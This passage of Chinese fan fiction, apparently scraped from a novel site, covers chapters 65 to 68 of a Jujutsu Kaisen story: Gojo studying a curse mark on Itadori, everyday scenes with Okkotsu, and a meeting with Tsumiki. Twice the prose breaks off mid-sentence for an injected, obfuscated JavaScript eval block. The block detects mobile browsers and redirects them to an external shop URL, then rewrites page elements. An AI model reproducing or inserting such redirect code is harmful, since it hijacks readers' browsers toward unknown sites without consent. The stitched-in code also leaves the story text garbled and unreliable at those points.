“你太焦躁了,忧太,”夏油杰竖起一根手指,制止了他的话,“我当然知道光凭一己之力没办法杀死所有的猴子,它们像是蚂蚁一样弱小,但数量太多了。”
“那——”
黑发诅咒师狭长的双眼泛起锐利的光,如果乙骨忧太能够看透覆在其上厚如坚冰的伪装,就能发觉其中与蓬勃的野心共存的火热:“那就和你无关了。你和米盖尔必须将五条悟留在那里。”
他舒了一口气,耸耸肩:“这对你来说已经是最大的挑战,只要完成这个任务,之后你想干什么我都不会再管了。当然,如果你们愿意这么想的话——你和悠仁欠我的恩情也就此一并罢休。”
乙骨忧太敏锐地捕捉到了其中的问题。这个计划其实很符合他对夏油杰的认识,驱逐非术师,创造一个只有术师的世界。但夏油杰和他说的、袭击东京新宿的计划中却缺少了一个人。
那些咒灵的确来自夏油杰的【咒灵操术】,乙骨忧太知道夏油杰的咒灵能够被投放到离自己极远的地方,术师本人自然无法操纵用这样方式放出的咒灵,但对于咒杀非术师的任务而言,这种方式显然更有效率。那么身为式神使的夏油杰本人呢?这个计划里没有他自己。
“正如我所说,忧太。拦住五条悟,之后的一切就都你们无关。”
有人给夏油杰提供了一个能够一劳永逸的方法,他当然要去亲自实践一下。
“如果失败了,”乙骨忧太轻声问,“会怎么样?”
夏油杰看起来比刚才的他还要惊讶,随后终于发自内心地笑了出来:“哈哈,我倒是忘了......我从不用束缚来要挟自己的家人,如果你觉得‘要死了’,那就赶快逃跑吧。毕竟那可是五条悟,如果决定逃跑的话,能跑多远跑多远。”
“那你呢,夏油先生?”
“我?”
成功便能成就伟业,即使失败——
66. 第 66 章
虎杖悠仁身上的束缚似乎真的困扰住了五条悟。第二次会面多了一个乙骨忧太,五条悟用六眼上上下下将虎杖悠仁仔细看了一遍,目光落在胸口的时候很大声地啧舌,但是并没有说些什么。
“果然还是不行吗?”
五条悟沉默了一小会儿,指着虎杖悠仁的额头问乙骨忧太:“你没发现他这里也有一个咒印吗?”
“诶?!”
乙骨忧太凑了上去,可是他实在看不出来,只能困扰地望向五条悟。
白发咒术师摸着下巴,他觉得这个咒印给他的感觉非常熟悉,明明上次见面的时候还没有……不。他突然想到了什么。
隐秘而不为人知,看似无害但让人没办法放下心来,似乎那层薄薄的皮肤之下藏着什么极危险的东西。
就像一个被拔掉拉环的手榴弹突然张嘴说“没关系的哦,我不会爆炸的!”一样,本应极具威胁的某种东西开始学会伪装自己,让外表融入周围的环境、说着和旁人一样的语言、甚至能够利用伪装进行欺骗。
这才是最令人不寒而栗的事。警惕一个人群中的非人类要比在成群结队的同类中寻找一个狡猾的伪装者要简单得多。
五条悟难得严肃了起来。他终于想起究竟在哪里见过与虎杖悠仁身上这个咒印同样的异质咒力:“自从前几年开始,全国各地都开始有人因为不明原因陷入沉睡,他们大多身体健康且昏迷前没有出现任何意外事故,看上去就是睡着了之后再也没有醒过来。”
“原因不明”只是对这些人家属的解释,而真正令他们陷入沉睡的原因是被施加的正体不明的咒印。虽然与虎杖悠仁额头上的这个并非同种,但咒力的流动和性质却极为相近,在五条悟的六眼看来绝对就是同一个人干的。
在虎杖悠仁额头上留下咒印的人手段十分高明,五条悟也说不好这东西是什么时候缠上他的,只是大体猜测可能因为咒印的主人最近太过“高调”才令其丧失了隐蔽性,又或者是什么别的原因导致一直秘而不显的咒力变得活跃了起来吧。
“好了!接下来悠仁稍微等我们一下吧,”五条悟拍了拍手,将乙骨忧太单独留了下来,“我们不会说很久,你可以去楼下的便利店买个雪糕吃哦。”
“那我先走了!”虎杖悠仁毫无负担地出门了,房间里就只剩下了五条悟和乙骨忧太。
“所以,你有什么想和我说的吗,忧太?”五条悟靠在沙发上,看向坐在圆凳子上沉思的乙骨忧太。
就算五条悟不把虎杖悠仁支走,乙骨忧太也不敢冒险当着他的面和五条悟谈一谈“妈妈”的事。按照他的推测,束缚的某个内容——至少自从他们重新见面到现在——肯定要求了虎杖悠仁“不能将他们之间的事说出去”,如果乙骨忧太在虎杖悠仁面前将他们之间的事告诉了第三个人,束缚是否会判定他违背了约定是很难讲的一件事。
为了保证万无一失,最好是乙骨忧太单独告知五条悟比较好。
最基本的名字他们早就知道,但私下的调查一直没有进展。见过虎杖香织的邻居说她是个留着黑色短发的女性,但乙骨忧太记得清清楚楚,他第一次听到虎杖悠仁喊“妈妈”的对象绝对是个货真价实的男性。他还和虎杖悠仁讨论过这个问题,所以绝对不存在误会之类的事。
“那孩子亲口喊的?按照你的说法,那应该也是悠仁和那个人的第一次见面吧?”
“他说遇到她的时候会有一种很强烈的‘感觉’,就好像他们的灵魂一直连在一起一样。”乙骨忧太觉得这种说法毛骨悚然,他和他的母亲就没有这种灵魂相连的感觉,如果这不是术师的天赋带来的错觉,那么就只能是某种咒术或者诅咒。
这是虎杖悠仁能够说出的最多的内容,如果再继续下去的话就会违背束缚。他本人倒是想要尝试一下,但乙骨忧太不允许他继续了。
“难道是类似‘共鸣’之类的吗?”
这触及到了乙骨忧太的知识盲区,所以他等待着五条悟的结论。
五条悟做了一个显得非常荒诞的说明:“就是他们之间有‘血缘关系’,不是母亲与孩子通过基因进行的血脉传承,而是孩子在诞生前直接混入了‘什么人’的血液。就像煮高汤一样,时间让食材本身的味道融入了汤里,而我说的这种更像是有人在快要出锅之前放入了调味料,将这一锅高汤变成了她喜欢的味道。”
“我这么解释,你能听懂吗?”
乙骨忧太隐隐约约地有了某种猜想,但他人生中吸纳的所有常识和准则都没办法支撑他完成这样扭曲的推理逻辑闭环:“可如果是这样的话......那岂不是在说虎杖香织不是悠仁的妈妈?不,应该说孕育他的人和混入‘血液’的人——”
并非同一个?
“如果你敢更大胆一些猜测的话,没准虎杖香织也早就不是她自己了呢?”五条悟说出了乙骨忧太真正没敢说出口的猜想。
以五条悟的能力,查出虎杖香织曾是自由咒术师的事情并不困难,如果那个人拥有某种可以改变外貌的术式并以此变成了她的模样生下了虎杖悠仁,那就没必要费尽心思在孩子的体内单独混入自己的血液。除非有某种她不得不这么做来确保他们之间有“血缘关系”的理由。
确认虎杖悠仁究竟如何诞生是个很重要的问题。如果虎杖香织是在妊娠过程中被第三人混入了血液,这只能说明那个人拥有某种特殊的咒术。可是如果虎杖香织在妊娠时已经不是她自己,说得更确切一些就是尽管肉|体没有区别,但内里却换了人......这说明那个人有某种能够更换身体的术式,但因为更换了全新的肉|体,所以必须在孕育生命的过程中通过外力混入自己原本的血液才能建立起以血脉为根基的联系。
“嗯......是个相当狡猾的家伙呢。悠仁和那些昏迷的受害者们身上的咒印没办法轻易剥除,那个位置离大脑太近了……目前看来只能想办法尽可能减弱咒印主人对它的感知,反向把人藏起来试试看了。”
费尽心思用十几年等待虎杖悠仁成长的幕后之人究竟有什么目的呢?她在那些人的身上留下咒印的理由又是什么呢?
乙骨忧太有些丧气,看了一眼五条悟。今天白发咒术师戴着墨镜,乙骨忧太没办法从他的表情中看出太多想法,又因为知道就算偷偷看了也绝对会被发现,索性就毫不掩饰地看了过去。
那天和夏油杰谈完之后正巧碰见正在天台门后探头探脑的枷场姐妹,她们似乎想要帮夏油杰打理头发,得到了他的许可。夏油杰在自己的吃穿用度方面都尽可能地远离他厌恶的非术师,打理头发这种事情就都交给枷场姐妹来做了。
乙骨忧太没有着急离开,所以他听到了枷场菜菜子问夏油杰:“五条悟......是什么人?”
他们绝对认识,而且关系匪浅。能够让夏油杰直呼名字的咒术师,他还是第一个。
——是挚友。吵了一架,所以之后就没再来往。
“想问什么?”
乙骨忧太垂着眼睛:“五条先生,夏油杰......是什么人?”
五条悟翘着腿,直白而迅速地回答道:“夏油杰?他是从咒术高专叛逃后咒杀超过百人的最凶恶的诅咒师啊。”
“你们以前认识?”
五条悟突然笑了起来,一个挺身从沙发上站了起来,乙骨忧太的目光追着他移动到了门边:“原来如此,你想问的是这个?哈哈!”
“他是我的挚友,”他打开了门,蹲在门口的虎杖悠仁猛地抬头,“最好的那个。蹲在这种地方干什么?进来吹空调吧。”
粉发少年蹿了起来:“你们已经聊完了?”
五条悟甩甩头:“算是吧~”
虎杖悠仁给他们两个都带了雪糕,他自己的那根已经快速地吃掉了,好在剩下的还没有化掉。
他们没有继续在这里停留太久,乙骨忧太和五条悟交换了手机号码,如果有其他的进展,五条悟会用手机通知他们。在乙骨忧太和虎杖悠仁准备告辞时,五条悟忽然叫住了他们。
“我经常和自己的学生说‘咒术师殒命的时候皆为孤身’,虽然你们还不算我的学生,但我觉得这句话同样适合你们,”虎杖悠仁难得从他身上感受到了身为教师的气质,而乙骨忧太则被五条悟话中的深意戳中了心脏,“在决定加入到这个相互诅咒的世界中来之前,最重要的就是找到自己战斗的理由。若非如此,就只能在临死前带着满腔悔意诅咒自己和他人了啊。”
他停顿了一秒,随后继续说道:“责任也好,爱也好......你们总得做好准备才行。”
虎杖悠仁不明深意,可依旧被五条悟不带笑意的声音引导着,懵懂地落入了一个全新的境地。乙骨忧太定定注视着五条悟,知道这话是对他那两个问题的真正回应。
这些大人们都太敏锐了,目光锋利到让乙骨忧太觉得自己无地自容。
“......我会加油的。”最终他只是迎着那宛如能够将他赤裸裸地剥穿的目光,真心实意地回答道。
他们回到了人潮汹涌的大街上,对面的广场上似乎在举办什么偶像活动,周围聚集了一圈狂热尖叫着的粉丝和凑过去看热闹的路人。虎杖悠仁下楼买雪糕之前就已经挤到前排去看了一小会儿,听她们唱了两首歌之后才迈着步子走去便利店挑了半天雪糕。
乙骨忧太的计划被打乱了。如果虎杖悠仁的身上留下了咒印,跑到海外只是将那个人接近他的机会变得更多也更简单而已。乙骨忧太看着虎杖悠仁向人群聚集的方向张望的后脑,做出了新的决定。
将他留在身边,只要那个人出现的话......他会在她能够张口之前斩断她的头颅。他绝对说到做到。
等到今年过去,万事落定之后,乙骨忧太会直接追逐她的踪迹,不管她谋划着怎样的阴谋、不管究竟要花上多少年,他只允许这场狩猎达成唯一一种结局。
“忧太你在想什么呢?眉头皱得这么厉害。”
“在想你要不要也选一把趁手的咒具,每次都直接用拳头皮肤很容易受伤。”
虎杖悠仁握拳又松开,还是摇了摇头:“我还是怎么都习惯不了。缠上绷带或者戴上手套会好一些吧。”
路边有个孩子的气球脱手,挂在了树枝上,他的同伴们七嘴八舌地讨论着怎样才能将气球取下来。虎杖悠仁凑了过去蹲下身,示意孩子们让开一些。孩子们为他让出了一片空间,虎杖悠仁在树干上蹬了一脚,飞身轻盈地够到了气球的绳子,将它拉了下来,还给了那个孩子,收获了一片“哇”声。
“哼哼!”虎杖悠仁的鼻子快要翘到天上去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378205|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乙骨忧太在旁边等他:“我们晚上去中华街吃吗?刚好在这附近。”
虎杖悠仁的眼睛亮了起来:“要去!!”
附近的这条中华街自然比不上横滨、神户或者长崎的名街,前后大概只有一百米左右,但独属于中华街的氛围还是非常充足的。有标志性的牌坊,长街在约二层楼高的地方挂满了夜晚才会亮起的灯笼,各家店面显得拥挤又狭小,但烟火气十足。
虎杖悠仁喜欢吃这里的肉包和烧麦,他们不常选在这里的餐馆吃,一个是因为店铺的面积很小,尤其是在饭点前后总会排起长队,第二个则是这里的小吃种类和数量都很多,每次还没等他们选好想要吃的餐馆就已经被一路上买到的小吃填饱了肚子。
这次当然也不例外,尽管他们特意绕过了以前常光顾的小吃摊,选择了很多新开的或者以前没机会尝试的新摊位。买到的大部分食物都在排队买下一家的时候被消灭干净了,他们两个都正是食欲旺盛的年纪,像是旋风一样一路扫荡了过去,手上拎着的小吃袋子越来越多。
虎杖悠仁非常顺手地给腾不出手的乙骨忧太叉起一颗沾了番茄酱的炸鸡球递到了他的嘴边。
乙骨忧太伸头去咬的时候,虎杖悠仁突然说:“回去之后我给你剪头发吧。”
“是有一点长了诶。”乙骨忧太咬着炸鸡球有点含混不清地答应了。
大概走过了五十多米,他们发现前面突然出现了一家排了很长队伍的店,比他们一路走过来见到的所有队伍都要长。
“那个是?特辣、挑战?”门口有点乱哄哄的,虎杖悠仁探头探脑从人群的缝隙中看到了摆放在门口的招牌。
“似乎是辣度挑战,”乙骨忧太看到从店里出来的人全都面红耳赤、嘴唇发肿又满头大汗,“看上去很有挑战性。”
“可惜人太多了,这个队伍看上去要排两个小时以上。”虎杖悠仁上网搜了一下,这家店果然是最近新火起来的网红店,特麻特辣的挑战在网络上很流行,怪不得很多排队的人都举着自拍相机之类的东西。
店里面散发出来的辣味似乎顺着空气弥漫到了街道上,仅仅是从门口经过就让虎杖悠仁觉得鼻子痒痒的,接着打了一个惊天动地的喷嚏。
乙骨忧太眼疾手快地接住了被抛到空中的炸鸡球。
终于挨过了那段遍布辣椒和麻椒刺激性味道的区域,在离开这条中华街之前他们已经将手里的所有小吃消灭得一干二净。
“好喔!这样晚上就有力气继续清理庭院了!”虎杖悠仁说道。
在雨季到来之前他们得清理一下许久没有修剪过的草坪和自由生长的植物,也许是将这样的工作做得顺手了,才让虎杖悠仁自信地揽下了给乙骨忧太修理头发的任务。其实只要不是特别过分,乙骨忧太觉得自己对发型的接受能力没有那么不堪,实在不行还可以去找枷场姐妹帮忙善后。
“我能行的!”虎杖悠仁再三向他保证,并掏出手机给他看自己这些天做的“功课”。
乙骨忧太摸着下巴说道:“所以你不是一时起意,而是一早就准备好了?”
“也太敏锐了吧?!不要把你的观察力放到这种事情上啊!!”
乙骨忧太眉眼弯弯:“我很开心。”
虎杖悠仁盯着他的笑容看了两秒,把下巴缩回领子里:“不会让你变成秃头的啦。”
说是这么说,可到了真正动手的时候却开始犹豫。浴室里已经被提前铺好了塑料袋接住碎发,他们没有理发店那样专门披在身上的罩子,只好找了一件雨衣代替。
铁器剪断发丝时发出微弱的摩擦声,乙骨忧太能够感觉到一簇簇碎发落在耳廓上,带来麻木的痒意。
“等我们初中毕业了之后,你准备怎么办?”虎杖悠仁的声音从背后传来,他永远像火炉一样炙热的手掌拂过湿漉漉、还带着水汽的湿发,让乙骨忧太从昏昏欲睡的状态里清醒了过来。
“我不准备继续上高中了。”他问过五条悟,似乎也有人选择从事自由咒术师的工作,通过中间人或者高专接取委托,和诅咒师们的行事流程差不多。尽管五条悟表达了希望他们能够去咒术高专继续上学的想法,但乙骨忧太需要更自由的时间来达成他自己的目的。
虎杖悠仁的手很稳,似乎对这样的答案并不惊讶:“去旅行吗?”
“嗯,”乙骨忧太回答道,“去找适合我们的生活方式。”
粉发少年绕到了他的正面检查自己的工作成果,左看右看,然后说道:“你是不是有点瘦了?”
“应该没有?不过的确很久没有量过体重了。”乙骨忧太看着虎杖悠仁为他让出来的镜子里的自己,虎杖悠仁的手艺比他想象中的要好太多。发尾的弧度很舒适,掉在地上的头发大多数都是打薄之后梳下来的断发,这样在夏天就不会让头顶太过闷热。
虎杖悠仁竖起一个大拇指:“嘿嘿,完美!”
“好厉害!”乙骨忧太夸赞道:“你有偷偷练习过吗?”
“我有请教菜菜子和美美子她们啦,但是亲自上手还是第一次!”
虎杖悠仁的头发不太爱长,修剪一次之后的长短能够维持很久。乙骨忧太则相反,这真的很难不叫人怀疑他吃掉的那些东西全都化作了头发的养分,所以它们才长得这么快吧?
67. 第 67 章
第三年的文化祭,虎杖悠仁他们班改选经营模拟店,巧合的是去年卖章鱼丸子让整层楼都飘满了香气的班级正好和他们的选择换了过来,他们今年的主题是鬼屋,似乎准备以有名的恐怖电影为蓝本进行设计。
“那么这个台子就交给你们了,拜托啦!”班长将他们需要负责的食谱交给了虎杖悠仁。
菜品是最简单的炒面,对于虎杖悠仁和乙骨忧太来说并不困难。因为没办法使用明火,所以只能依靠电磁炉和平底锅,好在室内会开空调,倒也不怕在后厨被热到中暑。
他们隔壁是泡面组,可以想见这附近到时候绝对热气腾腾。
切菜和熬煮酱汁的工作在前一天晚上就开始了,提前制作的这些材料是为了应对上午到中午饭点之前这段人流量不太多的时间,大概从十一点左右开始就会忙起来。班级里被提早改造成了秩序井井有条的后厨,因为除了炒面和泡面之外还准备了烘焙和饮料等等其他食物,所以没有在班级里设置座位。
虎杖悠仁和乙骨忧太得到了一整箱塑料杯来盛放制作好的炒面,他们自己带来了一个保温箱,这样就可以将提前制作好的炒面放在里面保持热量。
虎杖悠仁的手艺很稳定,这得益于他们在文化祭开始的前几天就已经开始反复调试,这也导致他们在文化祭当天对满教室飘着的炒面香气没有任何享用的欲望。
乙骨忧太的刀工比他好,所以文化祭的上午黑发少年切了一整箱胡萝卜和圆白菜,下刀的速度让周围人心惊胆战,不过成果同样喜人,这些材料足够他们和旁边的泡面组一起用了。
只是,尽管教室里已经开了空调,近距离接触锅具的虎杖悠仁还是出了一身薄汗,被厨师帽规规矩矩藏起来的刘海和碎发下能够感受到汗湿的痒意。
他腾不出手擦掉从额角流下来的汗滴,这时从旁边伸出了一只手,用纸巾擦去了那滴汗。
“谢啦!”虎杖悠仁盯着绿叶菜的变色过程,在它们开始变软又不至于失去口感的时候迅速加入了提前煮熟的粗面条,加入调味料的顺序已经烂熟于心,甚至刻入身体变成了肌肉记忆,锅铲和平底锅剐蹭的声音配合着电磁炉工作的嗡嗡声,隔壁还会定时定期传来热水煮开的咕嘟声。
负责售卖的同学在笔记本上一个个记下菜品的数量,被吸引来他们班的人数远超预期,从十点多开始一直到一点左右,虎杖悠仁完全没有休息过,乙骨忧太也又切了一箱临时送过来的食材。
烘焙区的烤箱和饮料区的榨汁机就没有停下来的时候,整个班级里热火朝天。
“我这辈子、都不会煮这么多泡面吧?”隔壁的同学相互交换了工作,忙碌了一个上午的人坐在凳子上敲打自己的肩膀。
乙骨忧太也顶替了虎杖悠仁的工作,由他自己继续制作着炒面。
虎杖悠仁接着隔壁同学的话说:“最近都不太想吃面条了......”
就算他再怎么喜欢面食,连续一个星期吃炒面也让虎杖悠仁有些受不了了,连炒面面包都无法再得到他的青睐。
三点左右,班长走进来告诉他们可以开始收拾东西了。
保温箱里剩下的炒面被分给了在外宣传的同学,乙骨忧太和虎杖悠仁收拾完之后居然还来得及去隔壁体验一下恐怖电影主题的鬼屋。
虎杖悠仁从隔壁班级的出口处走出来之后有些失望,因为他没有看到《蚯蚓人》相关的素材。
“你还真是对它情有独钟啊,悠仁。”乙骨忧太有些无奈地说道。
这部电影在这两年终于推出了续作,但是这一次虎杖悠仁成功地把有些不情不愿的乙骨忧太拉进了电影院。
身为小众恐怖片,《蚯蚓人2》和它的前传待遇相差不大,比如总是会被安排在最小的影厅、连续几天只在傍晚到深夜才有票,以及贴在角落里不起眼的海报。
他们去看的那一场根本没有其他人,乙骨忧太试着让自己接受那些长着蚯蚓一样上半身的小人,最终只是为难地挪开了眼睛。
他其实觉得看得目不转睛的虎杖悠仁对他的吸引力更大一些。
电影院昏暗的环境和《蚯蚓人2》故意渲染的阴沉色调让乙骨忧太可以明目张胆地偷看坐在身边的人。
只不过对于虎杖悠仁来说,这样的注视显然有些太过火了。他在乙骨忧太的目光中强撑着看完了整场电影,虽然剧情依旧很精彩(对他来说),但这一次的观影体验却总让他觉得浑身别扭。
“......下一次不会再拉着你过来了。”他说道。
乙骨忧太抱着后脑,纠结地说:“抱歉,只是对我来说也很少有这样的时间能够让自己什么都不想。”
只是安静地和虎杖悠仁待在一起,不去想咒术和诅咒,没有危险的阴谋与复杂的人际关系。乙骨忧太非常珍视这样的机会,他不会觉得无聊或是在浪费时间,甚至能够因为这短短的两个小时里得到小小的幸福感。
虎杖悠仁听过他的话,显然有什么想说的,可最后并没有将那些话说出口,独自咽下肚子消化掉了。
文化祭当天回家的路上,虎杖悠仁去宠物专卖店买了一小袋猫粮和零食。小猫已经完全能够在教会的庭院里独自生存,他们收拾院子的时候,最开始它还会被除草机吵闹的声音吓得躲在角落里,不过很快它就适应了这个轰隆隆的大块头,在他们修剪过的草坪上抓蚂蚱。
小猫很久没有吃过他们放在楼下的猫粮,虎杖悠仁心中有些遗憾,但也觉得这代表它已经能够将自己照顾得很好,所以只会期盼着在院子里溜达的时候能够看到它的影子。
新清理的庭院规规整整,剪掉的枝叶已经被处理掉了,哪怕那几天没有下雨,院子里也弥漫着一股雨后的土腥味。
乙骨忧太先上楼放东西,虎杖悠仁在墙边的粮碗里倒了一些新买的猫粮,混入了零食。只是有备无患,如果某一天小猫想吃零食了,它只需要来到这里就能尝到以前的味道。
要是有其他的事,它会直接去抓他们房间的门。
梅雨季到来之后,虎杖悠仁更加庆幸他们提早清理了庭院。空气变得沉闷、潮湿,淅淅沥沥的雨一直下个不停。
今天是宝贵的周末,连绵的阴雨阻碍了虎杖悠仁外出的脚步。他躺在乙骨忧太的床上开着台灯看漫画,但显然有些心不在焉。乙骨忧太要去稍远的地方从一个擅长制造咒具的诅咒师组屋鞣造手里取走订做的刀,在夏油杰的周转下,他们没有花费太多的钱就约到了这个订单。
乙骨忧太拒绝了虎杖悠仁同行,因为他偷偷约下了另外一个订单。
虎杖悠仁以极其缓慢的速度翻看着漫画书,放在一旁的手机振动了两下,响起了手机铃声。
他爬起来看了一眼联系人,打电话来的居然是乙骨忧太的妹妹。
他看到乙骨忧太发来的未读信息,但选择先接起了电话:“喂?”
女孩说自己捡到了一只流浪的幼猫,本来想养在家里,可父亲很不喜欢它,所以女孩只能将它送走。她在网络上联系到了一个愿意收养它的人,她们约好了下午在埼玉附近的一家宠物店交接,本来母亲答应陪她一起,可临时接到了工作通知没有办法和她一起赴约。
“哥哥说他现在很忙,让我来问问你。”
虎杖悠仁看了一眼时间:“好啊,你们约了几点?你现在已经出发了吗?”
女孩说了约定的时间和地点,虎杖悠仁突然想到了一个问题:“你要怎么带上那只猫坐新干线?”
“嗯......总会有办法的?”
偷偷带宠物上新干线并非一点机会都没有,虎杖悠仁以前还和乙骨忧太一起偷偷在不允许独立乘车的年纪独自乘坐过新干线。虽然那是以前的事,但以现在的情况来说,只要幼猫不在工作人员的面前叫出声或者乱动的话,应该没有太大的问题。
约定好随时联络,虎杖悠仁挂断了电话,点开了乙骨忧太发来的信息。女孩先是给他打去了电话,但组屋鞣造的工坊离埼玉太远了,所以只能拜托虎杖悠仁帮忙陪着女孩去一趟。短信的内容大致也就是这些,虎杖悠仁给他回了消息,随后开始准备出门的东西。
他离得近一些,可以过一会儿再出门,所以趁着这个时间把楼下烘干的衣服收到屋子里来。雨季在室内晾干的衣服总散发着一股潮湿的味道,换洗的时候他们会借用一楼的烘干机。
雨已经有逐渐停下来的趋势了,外面的天空也不像刚才那样阴云密布,压得人喘不过气来。
虎杖悠仁计算着时间,幸运地赶在了雨停之后出了门。他和女孩约定在埼玉的大宫站汇合,之后再步行走去她和领养人约好的地方。他没有等很久就看到了从站台里快步跑出来的女孩。
“久等啦!”她和乙骨忧太长得越来越像,不过本身更开朗一些。她背着网球袋,并且一直用手保持着袋子的平稳,看来那只小猫就藏在里面。
“还蛮顺利的诶!它是个很安静的小家伙?我们家的那只之前偶尔会很闹腾。”虎杖悠仁从拉链的缝隙里见到了幼猫,是个黑白相间的奶牛猫,眼睛上的蓝膜还没有褪掉,此刻正下意识地向光线落下去的方向懵懂地张望着。
“我在车上的时候超级紧张的哇!不过它还算听话,没有被发现嘿嘿,”女孩将小猫的头摁了下去,重新拉上拉链,“希望它的新主人是个温柔的人。”
“你不知道领养人的家庭情况?”
“就是因为不知道,所以哥哥才不允许我自己去嘛,”女孩撇撇嘴,“但是从文字中能看出她应该是很认真地想要收养它。”
“嗯,”虎杖悠仁查看了一下地图,“总而言之,我们先过去吧。”
那家宠物店离得不远,店面很大,至少看起来算是正规的店铺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378206|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,里面还有各种各样的宠物用品。对方约在这里可能是想顺路买一些合适的宠物用品回去?
他们本以为需要在这里等一会儿,没想到对方却同样早早地就来到了店里,甚至比他们到得还要早。
“你们好,我是伏黑津美纪,”温婉的少女笑着看向他们,柔顺的黑色马尾垂在肩头,“我没有养宠物的经验所以才约在了这里,看照片它还是个很小的孩子,如果你们有什么好的经验请一定要分享给我。”
伏黑津美纪?虎杖悠仁听到这个名字之后就竖起了耳朵,姓氏和名字都对上了,这也不是什么很常见的姓名,所以他试探性地问道:“难道说......你有个弟弟叫伏黑惠吗?”
“啊啦,你们认识小惠吗?是朋友吗?”伏黑津美纪惊讶地捂住了嘴。伏黑惠的同学们都知道他有个叫津美纪的姐姐在同校上高年级,所以眼前的这个粉头发的少年是他在校外交到的朋友?难道是小惠偶尔提到的那个孩子吗?
“是的!我们是朋友!”
“原来是熟人?世界还真小啊!”妹妹在进入宠物店之前的所有紧张都化作了浮云,没想到居然还会发生这么巧合的事。
虎杖悠仁和伏黑津美纪说起了本应能够见面的棒球比赛,那时少女因为临时接到了合宿的通知所以将门票让给了五条悟。
“这样的话我就能安心很多了,”伏黑津美纪温和地笑着,“可以让我看看小猫吗?”
反正宠物店也没有其他的客人,店主为他们准备了垫子和一次性的食盆水碗让小猫可以从网球袋里出来,好奇地探索这附近。
“大概是闻到同类的气味了吧?现在叫得好大声,哈哈!来的时候可安静了呢。”小猫的胆子慢慢大了起来,走路还不怎么利索就开始试着扑向周围向它靠近的手,并且频繁地大声叫了起来。
“至少是个叫声正常的小家伙......”虎杖悠仁说起家里那只已经开始放养的杂色猫咪有些愁眉苦脸,它现在仍旧顶着那副沙哑得过分的嗓子,所以想要循着声音找到它并不困难。
“真的很难听吗?”女孩听乙骨忧太提起过一嘴。
“嗯——总之很有特点啦。”
虎杖悠仁从手机里找出了几段视频,点开之后只见杂色猫咪难听的嚎叫把他们面前这个黑白相间的小家伙吓得到处乱窜。
伏黑津美纪和女孩说起了抚养小猫的注意事项,虎杖悠仁提出他那里还留着小泽优子整理出来的清单,等他回家之后可以拍下来发给伏黑惠。
黑发少女任凭小猫在她的膝盖上踩来踩去:“小惠一直都很喜欢小动物,以前没有办法养,现在好不容易有一些多余的精力,想着要不要挑一个小家伙在家里陪着他。”
她原本只是抱着这样的想法上网随意浏览了一些帖子,恰巧刷到了乙骨忧太妹妹发布的帖文,聊过之后觉得还算合适,于是就约了线下的这次见面。
伏黑和他姐姐的性格差别好大,虎杖悠仁心想。
女孩子们已经带着小猫跟随店长去挑选合适的宠物用品,测试它喜欢吃哪种猫粮和零食。
虎杖悠仁想要跟着她们一起往里走,突然察觉到了什么,脚步定在了原地。
刺骨的寒意顺着脊骨瞬间爬上了他的头顶。
不需要回头,他已经通过震颤的灵魂知道了是谁从他身后走过,令他的世界边缘摇摇欲坠。
短短数秒内他的额头溢满冷汗。
当他想要通过深呼吸来调整气息的时候才发觉自己双拳紧握,身体也僵硬得不像样子。是恐惧吗?他害怕被当做无知无觉的木偶,那个束缚的力量足以让他变得不是他自己。
但他绝不肯轻易认输。
虎杖悠仁猛地转身,和从玻璃外面经过的女人对上了视线。
一劳永逸解决这个问题的方法不是还有另外一种吗?!如果意识到他会伤害到自己在乎的人,虎杖悠仁会在那之前选择鱼死网破的结局。
女人露出了虎杖悠仁熟悉的笑容,他曾在他、她的脸上见过很多次,藏在阴影里、不带恶意却能令人不寒而栗的微笑。
虎杖悠仁死死盯着她,“妈妈”没有靠近的意思,她看上去就像是普通的路人一样步履匆匆,而她果然也在微笑着向他挥手之后将头扭了回去不再看他,身影消失在了玻璃橱窗的尽头。
只是......路过?
令人窒息的紧张感散去了一些,虎杖悠仁感受到掌心里被指甲掐出的印记传来阵阵痛感。
五条悟和乙骨忧太都想帮他解开身上的束缚,为此将目光放在了“妈妈”的身上。虎杖悠仁明白自己就是个定时炸弹,远程操纵的遥控器还握在别人的手上。除了将炸弹拆除之外,还可以将它投放在无人的地方直接引爆不是吗?
虎杖悠仁目光凶狠起来,盯着“妈妈”的身影消失的地方久久没有离开。
68. 第 68 章
羂索并非有意来寻找虎杖悠仁。难得今天无事,她只是出来为老熟人们寻找合适的容器。让她想想,今天随手拿的这个咒物属于......对了,是她来着。
“虽然能够恢复原身,但她应该会对容器的外表也挑剔一些的吧?”难得她心情不错,稍微花些时间给万挑一个符合她审美的容器好了。
伏黑津美纪她们那边挑得差不多了,暂时先选了一些适合幼猫用的宠物用品和猫粮,看到虎杖悠仁直愣愣地站在那里盯着玻璃外面,好奇地问:“虎杖同学?怎么了吗?”
“不,没什么。你们已经选好了?”
伏黑津美纪颠了颠手里有些分量的袋子,她还从店主这里挑了一个合适的猫包,让黑白小猫能够安稳地待在里面。
虎杖悠仁主动帮她提着东西,他们在大宫站和乙骨忧太的妹妹分开,女孩坚持可以独自一个人乘坐新干线回家,并承诺到家之后会给他报平安。虎杖悠仁则继续帮伏黑津美纪将宠物用品和猫粮拎到了她家楼下。
“今天多谢你了,虎杖同学,”伏黑津美纪看了一眼楼上,“可惜今天小惠出门了......来家里坐坐吧?”
